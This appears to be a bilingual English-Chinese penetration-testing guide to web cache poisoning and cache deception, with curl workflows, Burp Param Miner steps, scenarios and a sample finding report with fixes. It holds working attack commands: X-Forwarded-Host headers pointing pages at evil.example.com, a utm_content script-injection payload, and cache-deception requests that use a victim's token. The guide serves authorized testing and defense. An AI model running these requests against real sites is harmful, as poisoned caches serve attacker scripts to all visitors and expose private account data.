performing-web-cache-poisoning-attack

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Performing Web Cache Poisoning Attack

实施Web缓存污染攻击

When to Use

使用场景

  • During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
  • When assessing web applications for cache-based vulnerabilities that could affect all users
  • For testing whether unkeyed HTTP headers are reflected in cached responses
  • When evaluating cache key behavior and cache deception vulnerabilities
  • During security assessments of applications with aggressive caching policies
  • 在授权渗透测试中,当应用使用CDN或反向代理缓存(Cloudflare、Akamai、Varnish、Nginx)时
  • 评估Web应用中可能影响所有用户的基于缓存的漏洞时
  • 测试未加入缓存键的HTTP头是否会在缓存响应中被反射时
  • 评估缓存键行为和缓存欺骗漏洞时
  • 对采用激进缓存策略的应用进行安全评估时

Prerequisites

前置条件

  • Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
  • Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
  • curl: For manual cache testing with precise header control
  • Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
  • Cache buster: Unique query parameter to isolate test requests from other users
  • Caution: Cache poisoning affects all users; test with cache-busting parameters first
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
  • 授权:明确涵盖缓存污染测试的书面渗透测试协议
  • Burp Suite Professional:安装Param Miner扩展以自动发现未加入缓存键的请求头
  • curl:用于手动缓存测试,实现精准的请求头控制
  • 目标知识:了解缓存层(CDN供应商、缓存请求头)
  • 缓存破坏参数:唯一的查询参数,用于将测试请求与其他用户的请求隔离开
  • 注意事项:缓存污染会影响所有用户;测试时先使用缓存破坏参数
法律声明:本技能仅用于授权安全测试和教育目的。未经授权对不属于您或未获得书面测试许可的系统使用本技能属于违法行为,可能违反计算机欺诈相关法律。

Workflow

操作流程

Step 1: Identify the Caching Layer and Behavior

步骤1:识别缓存层及其行为

Determine what caching infrastructure is in use and how the cache key is constructed.
bash
undefined
确定所使用的缓存基础设施以及缓存键的构建方式。
bash
undefined

Check cache-related response headers

检查与缓存相关的响应头

curl -s -I "https://target.example.com/" | grep -iE
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
curl -s -I "https://target.example.com/" | grep -iE
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"

Common cache indicators:

常见缓存标识:

X-Cache: HIT / MISS

X-Cache: HIT / MISS

CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)

CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)

Age: 120 (seconds since cached)

Age: 120(缓存已生成的秒数)

X-Varnish: 12345 67890 (Varnish)

X-Varnish: 12345 67890 (Varnish)

Via: 1.1 varnish (Varnish/CDN proxy)

Via: 1.1 varnish (Varnish/CDN代理)

Determine cache key by testing variations

通过测试变体确定缓存键

Cache key typically includes: Host + Path + Query string

缓存键通常包含:Host + 路径 + 查询字符串

Test 1: Same URL, two requests - check if second is cached

测试1:相同URL,发送两次请求 - 检查第二次是否命中缓存

curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache" curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache" curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"

First: MISS, Second: HIT = caching is active

第一次:MISS,第二次:HIT = 缓存已激活

Test 2: Vary header behavior

测试2:Vary请求头行为

curl -s -I "https://target.example.com/" | grep -i "vary"
curl -s -I "https://target.example.com/" | grep -i "vary"

Vary: Accept-Encoding means Accept-Encoding is part of cache key

Vary: Accept-Encoding 表示Accept-Encoding是缓存键的一部分

undefined
undefined

Step 2: Discover Unkeyed Inputs with Param Miner

步骤2:使用Param Miner发现未加入缓存键的输入

Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.
undefined
借助Burp的Param Miner查找未被纳入缓存键但会在响应中被反射的请求头和参数。
undefined

In Burp Suite:

在Burp Suite中:

1. Install Param Miner from BApp Store

1. 从BApp Store安装Param Miner

2. Right-click target request > Extensions > Param Miner > Guess headers

2. 右键点击目标请求 > Extensions > Param Miner > Guess headers

3. Param Miner will test hundreds of HTTP headers

3. Param Miner会测试数百个HTTP请求头

4. Check results in Extender > Extensions > Param Miner > Output

4. 在Extender > Extensions > Param Miner > Output中查看结果

Common unkeyed headers to test manually:

可手动测试的常见未加入缓存键的请求头:

X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto

X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto

X-Original-URL, X-Rewrite-URL

X-Original-URL, X-Rewrite-URL

X-Host, X-Forwarded-Server

X-Host, X-Forwarded-Server

Origin, Referer

Origin, Referer

X-Forwarded-For, True-Client-IP

X-Forwarded-For, True-Client-IP


```bash

```bash

Manual testing for unkeyed header reflection

手动测试未加入缓存键的请求头反射

Add cache buster to isolate testing

添加缓存破坏参数以隔离测试

CB="cachebuster=$(date +%s)"
CB="cachebuster=$(date +%s)"

Test X-Forwarded-Host reflection

测试X-Forwarded-Host的反射

curl -s -H "X-Forwarded-Host: evil.example.com"
"https://target.example.com/?$CB" | grep "evil.example.com"
curl -s -H "X-Forwarded-Host: evil.example.com"
"https://target.example.com/?$CB" | grep "evil.example.com"

Test X-Forwarded-Scheme

测试X-Forwarded-Scheme

curl -s -H "X-Forwarded-Scheme: nothttps"
"https://target.example.com/?$CB" | grep "nothttps"
curl -s -H "X-Forwarded-Scheme: nothttps"
"https://target.example.com/?$CB" | grep "nothttps"

Test X-Original-URL (path override)

测试X-Original-URL(路径覆盖)

curl -s -H "X-Original-URL: /admin"
"https://target.example.com/?$CB"
curl -s -H "X-Original-URL: /admin"
"https://target.example.com/?$CB"

Test X-Forwarded-Proto

测试X-Forwarded-Proto

curl -s -H "X-Forwarded-Proto: http"
"https://target.example.com/?$CB" | grep "http://"
undefined
curl -s -H "X-Forwarded-Proto: http"
"https://target.example.com/?$CB" | grep "http://"
undefined

Step 3: Exploit Unkeyed Header for Cache Poisoning

步骤3:利用未加入缓存键的请求头实施缓存污染

Craft requests that poison cached responses with malicious content.
bash
undefined
构造请求,向缓存响应中注入恶意内容以污染缓存。
bash
undefined

Scenario: X-Forwarded-Host reflected in resource URLs

场景:X-Forwarded-Host在资源URL中被反射

Normal response includes: <script src="https://target.example.com/app.js">

正常响应包含:<script src="https://target.example.com/app.js">

Poisoned: <script src="https://evil.example.com/app.js">

被污染后:<script src="https://evil.example.com/app.js">

Step 1: Confirm reflection with cache buster

步骤1:使用缓存破坏参数确认反射存在

curl -s -H "X-Forwarded-Host: evil.example.com"
"https://target.example.com/?cb=unique123" |
grep "evil.example.com"
curl -s -H "X-Forwarded-Host: evil.example.com"
"https://target.example.com/?cb=unique123" |
grep "evil.example.com"

Step 2: Poison the actual cached page (WITHOUT cache buster)

步骤2:污染实际缓存页面(不使用缓存破坏参数)

WARNING: This affects all users - only do with explicit authorization

警告:这会影响所有用户 - 仅在获得明确授权后执行

curl -s -H "X-Forwarded-Host: evil.example.com"
"https://target.example.com/"
curl -s -H "X-Forwarded-Host: evil.example.com"
"https://target.example.com/"

Step 3: Verify cache is poisoned

步骤3:验证缓存已被污染

curl -s "https://target.example.com/" | grep "evil.example.com"
curl -s "https://target.example.com/" | grep "evil.example.com"

If evil.example.com appears, the cache is poisoned

如果出现evil.example.com,则缓存已被污染

Attack with X-Forwarded-Proto for HTTP downgrade

利用X-Forwarded-Proto实施HTTP降级攻击

curl -s -H "X-Forwarded-Proto: http"
"https://target.example.com/?cb=unique456"
curl -s -H "X-Forwarded-Proto: http"
"https://target.example.com/?cb=unique456"

May cause cached response to include http:// links, enabling MitM

Attack with multiple headers

使用多个请求头发起攻击

curl -s
-H "X-Forwarded-Host: evil.example.com"
-H "X-Forwarded-Proto: https"
"https://target.example.com/?cb=unique789"
undefined
curl -s
-H "X-Forwarded-Host: evil.example.com"
-H "X-Forwarded-Proto: https"
"https://target.example.com/?cb=unique789"
undefined

Step 4: Test Web Cache Deception

步骤4:测试Web缓存欺骗

Trick the cache into storing authenticated responses for public URLs.
bash
undefined
诱使缓存将经过身份验证的响应存储为公共URL的内容。
bash
undefined

Web Cache Deception attack

Web缓存欺骗攻击

The cache caches based on file extension (.css, .js, .jpg)

缓存基于文件扩展名(.css, .js, .jpg)进行缓存

If the application ignores path suffixes:

如果应用忽略路径后缀:

Step 1: As victim (authenticated), visit:

步骤1:作为受害者(已认证),访问:

If the application returns the profile page (ignoring .css suffix)

如果应用返回个人资料页面(忽略.css后缀)

AND the cache stores it because of .css extension...

并且缓存因.css扩展名而存储该页面...

Test application path handling

测试应用路径处理逻辑

curl -s -H "Authorization: Bearer $VICTIM_TOKEN"
"https://target.example.com/account/profile/test.css" |
grep -i "email|name|balance"
curl -s -H "Authorization: Bearer $VICTIM_TOKEN"
"https://target.example.com/account/profile/test.css" |
grep -i "email|name|balance"

Step 2: As attacker (unauthenticated), request:

步骤2:作为攻击者(未认证),发起请求:

If victim's profile data is returned, cache deception is confirmed

如果返回受害者的个人资料数据,则确认存在缓存欺骗漏洞

Test various static extensions

测试各种静态文件扩展名

for ext in css js jpg png gif ico svg woff woff2 ttf; do echo -n ".$ext: " curl -s -H "Authorization: Bearer $TOKEN"
-o /dev/null -w "%{http_code} %{size_download}"
"https://target.example.com/account/settings/x.$ext" echo done
for ext in css js jpg png gif ico svg woff woff2 ttf; do echo -n ".$ext: " curl -s -H "Authorization: Bearer $TOKEN"
-o /dev/null -w "%{http_code} %{size_download}"
"https://target.example.com/account/settings/x.$ext" echo done

Test path confusion patterns

测试路径混淆模式

/account/settings%2f..%2fstatic/style.css

/account/settings%2f..%2fstatic/style.css

/account/settings/..;/static/style.css

/account/settings/..;/static/style.css

/account/settings;.css

/account/settings;.css

undefined
undefined

Step 5: Test Parameter-Based Cache Poisoning

步骤5:测试基于参数的缓存污染

Exploit unkeyed query parameters or parameter parsing differences.
bash
undefined
利用未加入缓存键的查询参数或参数解析差异发起攻击。
bash
undefined

Unkeyed parameter (parameter not in cache key but reflected)

未加入缓存键的参数(参数不在缓存键中但会被反射)

Using UTM parameters that are often excluded from cache keys

使用通常被排除在缓存键之外的UTM参数

curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" |
grep "alert"
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" |
grep "alert"

Parameter cloaking via parsing differences

通过解析差异进行参数伪装

Backend sees: callback=evil, Cache key ignores: callback

后端看到:callback=evil,缓存键忽略:callback

Fat GET request (body in GET request)

Fat GET请求(GET请求中包含请求体)

curl -s -X GET
-H "Content-Type: application/x-www-form-urlencoded"
-d "param=evil_value"
"https://target.example.com/page?cb=$(date +%s)"
curl -s -X GET
-H "Content-Type: application/x-www-form-urlencoded"
-d "param=evil_value"
"https://target.example.com/page?cb=$(date +%s)"

Cache key normalization differences

缓存键规范化差异

Some caches normalize query string order, some don't

部分缓存会规范化查询字符串顺序,部分不会

curl -s "https://target.example.com/page?a=1&b=2" # Cached as key1 curl -s "https://target.example.com/page?b=2&a=1" # Same key? Or different?
curl -s "https://target.example.com/page?a=1&b=2" # 缓存为key1 curl -s "https://target.example.com/page?b=2&a=1" # 是相同的键?还是不同的?

Test port-based cache poisoning

测试基于端口的缓存污染

curl -s -H "Host: target.example.com:1234"
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
undefined
curl -s -H "Host: target.example.com:1234"
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
undefined

Step 6: Validate Impact and Clean Up

步骤6:验证影响并清理

Confirm the attack impact and ensure poisoned cache entries are cleared.
bash
undefined
确认攻击影响,并确保被污染的缓存条目已被清除。
bash
undefined

Verify poisoned cache serves to other users

验证被污染的缓存是否会分发给其他用户

Use a different IP/User-Agent/session to verify

使用不同的IP/用户代理/会话进行验证

curl -s -H "User-Agent: CacheVerification"
"https://target.example.com/" | grep "evil"
curl -s -H "User-Agent: CacheVerification"
"https://target.example.com/" | grep "evil"

Check cache TTL to understand exposure window

检查缓存TTL以了解暴露时长

curl -s -I "https://target.example.com/" | grep -i "cache-control|max-age|s-maxage"
curl -s -I "https://target.example.com/" | grep -i "cache-control|max-age|s-maxage"

max-age=3600 means poisoned for 1 hour

max-age=3600 表示缓存会被污染1小时

Clean up: Force cache refresh

清理:强制缓存刷新

Some CDNs allow purging via API

部分CDN允许通过API清除缓存

Cloudflare: API call to purge cache

Cloudflare:调用API清除缓存

Varnish: PURGE method

Varnish:使用PURGE方法

curl -s -X PURGE "https://target.example.com/"
curl -s -X PURGE "https://target.example.com/"

Or wait for TTL to expire

或等待TTL过期

Document the cache poisoning window

记录缓存污染窗口

Start time: when poison request was sent

开始时间:发送污染请求的时间

End time: start time + max-age

结束时间:开始时间 + max-age

Affected users: all users hitting the cached URL during the window

受影响用户:在缓存窗口内访问该缓存URL的所有用户

undefined
undefined

Key Concepts

核心概念

ConceptDescription
Cache KeyThe set of request attributes (host, path, query) used to identify cached responses
Unkeyed InputHTTP headers or parameters not included in the cache key but reflected in responses
Cache PoisoningInjecting malicious content into cached responses that are served to other users
Cache DeceptionTricking the cache into storing authenticated/private responses as public content
Vary HeaderHTTP header specifying which request headers should be included in the cache key
Cache BusterA unique query parameter used to prevent affecting the real cache during testing
TTL (Time to Live)Duration a cached response remains valid before being refreshed
概念描述
Cache Key(缓存键)用于识别缓存响应的请求属性集合(主机、路径、查询参数)
Unkeyed Input(未加入缓存键的输入)未被纳入缓存键但会在响应中被反射的HTTP请求头或参数
Cache Poisoning(缓存污染)向缓存响应中注入恶意内容,分发给其他用户
Cache Deception(缓存欺骗)诱使缓存将已认证/私有响应存储为公共内容
Vary Header(Vary请求头)指定哪些请求头应被纳入缓存键的HTTP请求头
Cache Buster(缓存破坏参数)用于在测试期间避免影响真实缓存的唯一查询参数
TTL (Time to Live)缓存响应在被刷新前保持有效的时长

Tools & Systems

工具与系统

ToolPurpose
Burp Suite ProfessionalRequest interception and cache behavior analysis
Param Miner (Burp Extension)Automated discovery of unkeyed HTTP headers and parameters
Web Cache Vulnerability ScannerAutomated cache poisoning detection tool
curlManual HTTP request crafting with precise header control
VarnishlogVarnish cache debugging and log analysis
CDN-specific toolsCloudflare Analytics, Akamai Pragma headers for cache diagnostics
工具用途
Burp Suite Professional请求拦截与缓存行为分析
Param Miner (Burp Extension)自动发现未加入缓存键的HTTP请求头和参数
Web Cache Vulnerability Scanner自动检测缓存污染漏洞的工具
curl手动构造HTTP请求,实现精准的请求头控制
VarnishlogVarnish缓存调试与日志分析
CDN专属工具Cloudflare Analytics、Akamai Pragma请求头,用于缓存诊断

Common Scenarios

常见场景

Scenario 1: X-Forwarded-Host Script Injection

场景1:X-Forwarded-Host脚本注入

The application reflects the
X-Forwarded-Host
header in script src URLs. This header is not part of the cache key. Sending a request with
X-Forwarded-Host: evil.com
poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.
应用会在脚本src URL中反射
X-Forwarded-Host
请求头,而该请求头未被纳入缓存键。发送包含
X-Forwarded-Host: evil.com
的请求会污染缓存,使后续所有访问者从攻击者的服务器加载JavaScript。

Scenario 2: Web Cache Deception on Account Page

场景2:账户页面的Web缓存欺骗

A Cloudflare-cached application ignores unknown path segments. Requesting
/account/profile/logo.png
returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.
使用Cloudflare缓存的应用会忽略未知路径段。请求
/account/profile/logo.png
会返回账户页面,同时Cloudflare将其作为静态图片缓存。任何未认证用户都可以访问该缓存的账户页面。

Scenario 3: Parameter-Based XSS via Cache

场景3:基于参数的缓存型XSS

UTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting
<script>
tags via
utm_content
parameter poisons the cache with stored XSS affecting all visitors.
UTM跟踪参数被排除在缓存键之外,但会在页面HTML中渲染。通过
utm_content
参数注入
<script>
标签会污染缓存,导致存储型XSS影响所有访问者。

Scenario 4: CDN Cache Poisoning via Host Header

场景4:通过Host请求头实施CDN缓存污染

Multiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.
多个应用位于同一CDN后方。操纵Host请求头会导致CDN将一个应用的响应缓存到另一个应用的缓存键下。

Output Format

输出格式

undefined
undefined

Web Cache Poisoning Finding

Web缓存污染漏洞发现

Vulnerability: Web Cache Poisoning via Unkeyed Header Severity: High (CVSS 8.6) Location: X-Forwarded-Host header on all pages OWASP Category: A05:2021 - Security Misconfiguration
漏洞类型:基于未加入缓存键请求头的Web缓存污染 严重程度:高(CVSS 8.6) 位置:所有页面的X-Forwarded-Host请求头 OWASP分类:A05:2021 - 安全配置错误

Cache Configuration

缓存配置

PropertyValue
CDN/CacheCloudflare
Cache-Controlmax-age=3600, public
Unkeyed HeadersX-Forwarded-Host, X-Forwarded-Proto
Affected PagesAll HTML pages (/*.html)
属性
CDN/缓存Cloudflare
Cache-Controlmax-age=3600, public
未加入缓存键的请求头X-Forwarded-Host, X-Forwarded-Proto
受影响页面所有HTML页面(/*.html)

Reproduction Steps

复现步骤

  1. Send request with X-Forwarded-Host: evil.example.com
  2. Response includes: <link href="https://evil.example.com/style.css">
  3. This response is cached by Cloudflare for 3600 seconds
  4. All subsequent visitors receive the poisoned response
  1. 发送包含X-Forwarded-Host: evil.example.com的请求
  2. 响应包含:<link href="https://evil.example.com/style.css">
  3. 该响应被Cloudflare缓存3600秒
  4. 后续所有访问者都会收到被污染的响应

Impact

影响

  • JavaScript execution in all users' browsers (via poisoned script src)
  • Credential theft, session hijacking, defacement
  • Affects estimated 50,000 daily visitors during 1-hour cache window
  • Can be re-poisoned continuously for persistent attack
  • 在所有用户的浏览器中执行JavaScript(通过被污染的脚本src)
  • 凭据窃取、会话劫持、页面篡改
  • 在1小时缓存窗口内影响约50,000日活用户
  • 可持续重新污染缓存以发起持久化攻击

Recommendation

修复建议

  1. Include X-Forwarded-Host and similar headers in the cache key via Vary header
  2. Do not reflect unkeyed headers in response content
  3. Configure the cache to strip unknown headers before forwarding to origin
  4. Use application-level hardcoded base URLs instead of deriving from headers
  5. Implement cache key normalization to prevent key manipulation
undefined
  1. 通过Vary请求头将X-Forwarded-Host及类似请求头纳入缓存键
  2. 不在响应内容中反射未加入缓存键的请求头
  3. 配置缓存,在转发到源服务器前剥离未知请求头
  4. 使用应用级硬编码基础URL,而非从请求头中推导
  5. 实现缓存键规范化,防止键被篡改
undefined